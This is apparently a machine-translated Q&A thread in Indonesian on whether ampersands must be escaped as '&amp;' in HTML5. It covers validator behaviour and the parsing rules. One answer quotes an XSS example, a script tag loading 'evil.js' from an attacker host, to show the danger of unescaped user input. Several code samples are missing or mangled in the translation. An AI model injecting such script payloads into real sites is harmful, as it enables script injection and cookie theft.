Saya menggunakan &
simbol ' ' dengan HTML5 dan UTF-8 di situs saya <title>
. Google menunjukkan ampersand fine pada SERPnya, seperti halnya semua browser dalam judulnya.
http://validator.w3.org memberi saya ini:
& tidak memulai referensi karakter. (& mungkin seharusnya lolos sebagai
&
.)
Apakah saya benar-benar perlu melakukannya &
?
Saya tidak peduli tentang halaman saya yang validasi demi validasi, tapi saya ingin tahu pendapat orang tentang ini dan apakah itu penting dan mengapa.
validation
html
utf-8
character-encoding
Haroldo
sumber
sumber
Jawaban:
Iya. Seperti yang dikatakan kesalahan, dalam HTML, atribut adalah #PCDATA yang berarti mereka diuraikan. Ini berarti Anda dapat menggunakan entitas karakter dalam atribut. Menggunakan
&
dengan sendirinya adalah salah dan jika bukan untuk browser yang lunak dan fakta bahwa ini adalah HTML bukan XHTML, akan memecah parsing. Lari saja&
dan semuanya akan baik-baik saja.HTML5 memungkinkan Anda untuk membiarkannya tidak dihapus, tetapi hanya ketika data yang mengikuti tidak terlihat seperti referensi karakter yang valid. Namun, lebih baik melarikan diri dari semua contoh simbol ini daripada khawatir tentang mana yang seharusnya dan mana yang tidak perlu.
Ingatlah hal ini; jika Anda tidak melarikan diri & ke & amp ;, itu cukup buruk untuk data yang Anda buat (di mana kode itu mungkin tidak valid), Anda mungkin juga tidak melarikan diri dari pembatas tag, yang merupakan masalah besar untuk data yang dikirimkan pengguna, yang bisa mengarah ke injeksi HTML dan skrip, pencurian cookie, dan eksploitasi lainnya.
Tolong lepas kode Anda. Ini akan menghemat banyak masalah di masa depan.
sumber
Selain validasi, faktanya tetap bahwa penyandian karakter tertentu penting untuk dokumen HTML sehingga dapat di-render dengan benar dan aman sebagai halaman web.
Pengkodean
&
seperti&
dalam semua keadaan, bagi saya, adalah aturan yang lebih mudah untuk dijalani, mengurangi kemungkinan kesalahan dan kegagalan.Bandingkan yang berikut ini: mana yang lebih mudah? mana yang lebih mudah diganggu ?
Metodologi 1
Metodologi 2
(dengan sebutir garam, tolong;))
volt & amp
> Dalam hal itu jangan repot-repot meng-encode-nya.
amp&volt
> Dalam hal itu jangan repot-repot menyandikannya.
volt&
> Encode.
??
sumber
amp&volt
adalah ambigu: Apakah&volt
sekarang referensi entitas atau tidak?amp&volt
adalah tidak ampersand ambigu (sesuai definisi dalam HTML spec). Lihat mathiasbynens.be/notes/ambiguous-ampersand dan mothereff.in/ampersands#amp%26volt .Aturan HTML5 berbeda dari HTML4. Ini tidak diperlukan dalam HTML5 - kecuali jika ampersand sepertinya memulai nama parameter. "& copy = 2" masih menjadi masalah, misalnya, karena & salin; adalah simbol hak cipta.
Namun menurut saya itu lebih sulit untuk memutuskan untuk menyandikan atau tidak untuk menyandikan tergantung pada teks berikut. Jadi jalur termudah mungkin adalah menyandikan sepanjang waktu.
sumber
©=2
bukan masalah besar seperti yang Anda pikirkan. Dalam nilai atribut (misalnyahref
atribut),©
tidak akan dianggap sebagai referensi karakter©
. Di luar nilai atribut, itu akan.Saya pikir ini telah berubah menjadi lebih banyak pertanyaan tentang "mengapa mengikuti spesifikasi ketika browser tidak peduli." Inilah jawaban umum saya:
Standar bukanlah hal yang "sekarang". Mereka adalah "masa depan". Jika kita, sebagai pengembang, mengikuti standar web, maka vendor peramban lebih cenderung menerapkan standar itu dengan benar, dan kami bergerak lebih dekat ke web yang sepenuhnya dapat dioperasikan, di mana peretasan CSS, deteksi fitur, dan deteksi peramban tidak diperlukan. Di mana kita tidak perlu mencari tahu mengapa tata letak kita pecah di browser tertentu, atau bagaimana cara mengatasinya.
Khususnya, jika HTML5 tidak perlu menggunakan & amp; dalam situasi spesifik Anda, dan Anda menggunakan doctype HTML5 (dan juga mengharapkan pengguna Anda menggunakan browser yang sesuai dengan HTML5), maka tidak ada alasan untuk melakukannya.
sumber
Nah, jika itu berasal dari input pengguna maka benar-benar ya, untuk alasan yang jelas. Pikirkan jika situs web ini tidak melakukannya: judul pertanyaan ini akan muncul sebagaimana saya benar-benar harus menyandikan '&' sebagai '&'?
Jika itu hanya sesuatu seperti
echo '<title>Dolce & Gabbana</title>';
maka dengan tegas Anda tidak perlu. Akan lebih baik, tetapi jika Anda tidak, pengguna akan melihat perbedaannya.sumber
Bisakah Anda menunjukkan kepada kami apa
title
sebenarnya milik Anda ? Saat saya kirimke http://validator.w3.org/ - secara eksplisit memintanya untuk menggunakan mode HTML 5 eksperimental - ia tidak memiliki keluhan tentang
&
...sumber
<title>Dolce & Gabbana</title>
dan<p>Dolce & Gabbana</p>
adalah HTML 2.0 yang valid.Dalam HTML a
&
menandai awal referensi, baik referensi karakter atau referensi entitas . Dari titik itu pada parser mengharapkan salah satu yang#
menunjukkan referensi karakter, atau nama entitas yang menunjukkan referensi entitas, keduanya diikuti oleh a;
. Itu perilaku normal.Tetapi jika nama referensi atau hanya pembukaan referensi
&
diikuti dengan spasi putih atau pembatas lainnya seperti"
,'
,<
,>
,&
, ending;
dan bahkan referensi untuk mewakili polos&
dapat dihilangkan:Hanya dalam kasus ini, akhir
;
atau bahkan referensi itu sendiri dapat dihilangkan (setidaknya dalam HTML 4). Saya pikir HTML 5 membutuhkan akhir;
.Tetapi spesifikasi merekomendasikan untuk selalu menggunakan referensi seperti referensi karakter
&
atau referensi entitas&
untuk menghindari kebingungan:sumber
Jika pengguna memberikannya kepada Anda, atau URL itu akan berakhir, Anda harus menghindarinya.
Jika muncul dalam teks statis pada halaman? Semua browser akan mendapatkan yang ini dengan benar, Anda tidak perlu khawatir, karena ini akan berhasil.
sumber
Pembaruan (Maret 2020): Validator W3C tidak lagi mengeluh tentang melarikan diri URL.
Saya sedang memeriksa mengapa URL Gambar harus diloloskan, karenanya saya mencobanya di https://validator.w3.org . Penjelasannya cukup bagus. Ini menyoroti bahwa bahkan URL harus diloloskan. [PS: Saya kira itu akan dihapus ketika dikonsumsi karena kebutuhan URL
&
. Adakah yang bisa menjelaskan?]sumber
&
mulai referensi entitas. Setelah membaca&qux
, parser tidak menemukan titik koma akhir (;
), tetapi berjalan ke tanda sama dengan (=
), yang tidak dapat menjadi bagian dari nama entitas. Ini harus menjadi kesalahan parse, jika parser berusaha menjadi sangat ketat (sesuai dengan HTML 4). Di HTML 5, entitas parsing secara keseluruhan lebih santai.;
sebagai pemisah dalam string kueri (saat Anda mengontrol tautan) karena alasan itu.Ya, Anda harus mencoba menyajikan kode yang valid jika memungkinkan.
Sebagian besar browser akan memperbaiki kesalahan ini secara diam-diam, tetapi ada masalah dengan mengandalkan penanganan kesalahan di browser. Tidak ada standar untuk bagaimana menangani kode yang salah, jadi terserah masing-masing vendor browser untuk mencoba mencari tahu apa yang harus dilakukan dengan setiap kesalahan, dan hasilnya dapat bervariasi.
Beberapa contoh di mana browser cenderung bereaksi berbeda adalah jika Anda meletakkan elemen di dalam tabel tetapi di luar sel tabel, atau jika Anda membuat tautan di dalam sarang.
Untuk contoh spesifik Anda, kemungkinan besar tidak akan menimbulkan masalah, tetapi koreksi kesalahan pada peramban mungkin misalnya menyebabkan peramban berubah dari mode yang memenuhi standar menjadi mode quirks, yang dapat membuat tata letak Anda rusak sepenuhnya.
Jadi, Anda harus memperbaiki kesalahan seperti ini dalam kode, jika bukan karena hal lain, maka singkatkan daftar kesalahan di validator, sehingga Anda dapat menemukan masalah yang lebih serius.
sumber
Beberapa tahun yang lalu, kami mendapat laporan bahwa salah satu aplikasi web kami tidak ditampilkan dengan benar di Firefox. Ternyata halaman itu berisi tag yang terlihat seperti
Ketika dihadapkan dengan atribut gaya berulang, IE menggabungkan kedua gaya, sementara Firefox hanya menggunakan salah satu dari mereka, maka perilaku yang berbeda. Saya mengubah tag menjadi
dan tentu saja, itu memperbaiki masalah! Moral dari cerita ini adalah bahwa browser memiliki lebih konsisten menangani HTML yang valid daripada HTML yang tidak valid. Jadi, perbaiki markup sialanmu! (Atau gunakan HTML Tidy untuk memperbaikinya.)
sumber
jika
&
digunakan dalam html maka Anda harus menghindarinyaJika
&
digunakan dalam string javascript misalnya sebuahalert('This & that');
atau document.href Anda tidak perlu menggunakannya.Jika Anda menggunakan document.write maka Anda harus menggunakannya misalnya
document.write(<p>this & that</p>)
sumber
document.write
harus dihindari. Lihat kotak peringatan di w3.org/html/wg/drafts/html/master/dom.html#document.write%28%29document.write()
. Tetapi yang paling penting Alex membuat tentang menulis ke dokumen dari skrip berdiri, imo. +1Itu tergantung pada kemungkinan titik koma berakhir di dekat Anda
&
, menyebabkannya menampilkan sesuatu yang sangat berbeda.Misalnya, ketika berurusan dengan input dari pengguna (misalnya, jika Anda memasukkan subjek yang disediakan pengguna dari posting forum di tag judul Anda), Anda tidak pernah tahu di mana mereka mungkin meletakkan tanda koma acak, dan itu mungkin secara acak menampilkan entitas aneh. Jadi selalu melarikan diri dalam situasi itu.
Untuk html statis Anda sendiri, tentu saja, Anda dapat melewatinya, tetapi sangat sepele untuk menyertakan pelarian yang benar, sehingga tidak ada alasan yang baik untuk menghindarinya.
sumber
Jika Anda benar-benar berbicara tentang teks statis
disimpan dalam beberapa file di hard disk dan dilayani langsung oleh server, maka ya: itu mungkin tidak perlu diloloskan.
Namun, karena ada sangat sedikit konten HTML saat ini yang sepenuhnya statis, saya akan menambahkan penafian berikut yang mengasumsikan bahwa konten HTML dihasilkan dari beberapa sumber lain (konten basis data, input pengguna, hasil panggilan layanan web, hasil legacy API,. ..):
Jika Anda tidak melarikan diri dari yang sederhana
&
, maka kemungkinan Anda juga tidak melarikan diri a&
atau a
atau<b>
atau<script src="http://attacker.com/evil.js">
atau teks tidak valid lainnya. Itu berarti bahwa Anda paling baik menampilkan konten Anda secara salah dan kemungkinan besar lebih rentan terhadap serangan XSS .Dengan kata lain: ketika Anda sudah memeriksa dan melarikan diri dari kasus-kasus lain yang lebih bermasalah, maka hampir tidak ada alasan untuk meninggalkan standalone yang tidak-sepenuhnya-rusak-tetapi-masih-agak mencurigakan- & tidak terhindar.
sumber
tidak yakin apakah ini berguna bagi siapa pun ... Saya sedang memperjuangkan ini untuk sementara waktu ... di sini adalah regex mulia yang dapat Anda gunakan untuk memperbaiki semua tautan, javascript, konten Anda. Saya harus berurusan dengan satu ton konten warisan yang tidak seorang pun ingin memperbaikinya.
Tambahkan ini ke override Render Anda di halaman master Anda atau kontrol:
Tolong jangan nyalakan saya karena meletakkan ini di tempat yang salah:
sumber
Link memiliki contoh yang cukup baik dari kapan dan mengapa Anda mungkin perlu untuk melarikan diri
&
ke&
https://jsfiddle.net/vh2h7usk/1/
Menariknya, saya harus melarikan diri dari karakter agar dapat mewakili dengan benar dalam jawaban saya di sini. Jika saya menggunakan opsi contoh kode bawaan (dari panel jawaban), saya bisa mengetik
&
dan muncul sebagaimana mestinya. Tetapi jika saya harus menggunakan<code></code>
elemen secara manual , maka saya harus melarikan diri untuk mewakilinya dengan benar :)sumber